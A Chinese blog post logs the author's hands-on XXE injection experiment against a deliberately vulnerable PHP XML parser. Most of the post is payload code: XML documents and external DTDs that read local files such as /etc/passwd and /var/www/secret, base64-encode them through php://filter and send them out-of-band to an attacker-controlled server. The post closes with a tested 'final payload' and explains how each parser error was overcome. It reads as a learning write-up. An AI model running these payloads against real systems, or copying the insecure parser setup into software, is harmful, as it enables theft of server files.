xxe实验踩坑记录

文章阅读: https://xz.aliyun.com/t/2249

苦行僧一般的修炼…

实验

服务器ubuntu xml.php:

1
2
3
4
5
6
7
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
?>

其中:
LIBXML_NOENT: 将 XML 中的实体引用 替换 成对应的值
LIBXML_DTDLOAD: 加载 DOCTYPE 中的 DTD 文件

坑… 踩了一个又一个233333…
我之前的某个疑惑 :
思考:为什么非要从服务器读取evil.dtd呢?直接在下面调用不可以吗?

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA">
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % end "]]>">
<!ENTITY all "%start;%file;%end;">
]>

<roottag>&all;</roottag>

报错:PEReferences(Parameter-entity) forbidden in internal subset in Entity
原因:In the internal subset of DTD, references to parameter entities are not allowed within markup declarations. You have to use an external DTD规则 也就是说在DTD内部子集中,参数实体的引用不允许在标记声明里。在外部DTD中,是可以的

又…某个神奇的报错:

1
2
3
evil.dtd:
<!ENTITY % file SYSTEM "file:///var/www/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://123.207.153.65?p=%file;'>">

DOMDocument::loadXML(): Entity Value: ‘%’ forbidden except for entities
原因:报错已经说的很清楚了,%不允许出现在Entity的value中. 所以需要将%进行Unicode编码为&#37;(在xml中Unicode编码与字符本身是一样的),

继续思考…继续踩…
思考:为什么不可以直接定义呢?

1
2
evil.dtd:
<!ENTITY % send SYSTEM 'http://123.207.153.65?p=%file;'>

报错:发现直接声明参数实体send然后引用%send; , 结果就是%file;没有被解析
原因:所以需要在外面包一个参数实体int的声明,%int;引用的时候%file;会被成功解析,然后在%send;就可以成功的将解析%file;的内容传出。所以%int只是辅助的作用,用于辅助解释send实体内容。

continue
经过大概一天的时间,终于知道问题所在,感谢🙏师父,不然我真是要睡的不明不白了23333…
下面的payload

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % dtd SYSTEM "http://x.x.x.x/evil.txt">
%dtd;%int;%send;
]>

evil.txt
<!ENTITY % file SYSTEM "file://etc/var/secret">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM "http://45.76.x.x/:9999?p=%file;">">

为什么会出现loadXML(): Invalid URI: http://x.x.x.x:9999/?p=iitestjfkljal in Entity,这种报错呢?
诚如报错信息本身,是无效的URL,我也考虑再三,可是怎么看都没有问题,没有:也没有加xml中的特殊字符,但是关于字符,有可见字符,也有不可见字符,所以这种情况,需要十六进制(xxd或者hexdump -C)显示一下是否有系统自己添加的特殊字符,就像echo "m3lon" > secretecho命令本身就是回车显示,所以看似没有问题的URL,其实有一个小小的回车(0a)存在。

1
2
3
ubuntu@VM-12-40-ubuntu:~$ hexdump -C /var/www/secret
00000000 6d 33 6c 6f 6e 0a |m3lon.|
00000006

所以最优的方法就是改为下面利用php://filter流

1
2
3
evil.txt
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file://etc/var/secret">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM "http://45.76.x.x/:9999?p=%file;">">

ps:网络上的payload稂莠不齐,经过我这番踩坑,对于以后的各种报错,大致知道是什么问题了

终极payload奉上:

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % dtd SYSTEM "http://x.x.x.x/evil.txt">
%dtd;%int;%send; ]>

evil.txt
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/secret">
<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://x.x.x.x:9999/?p=%file;'>">

参考:

坚持原创技术分享,您的支持将鼓励我继续创作!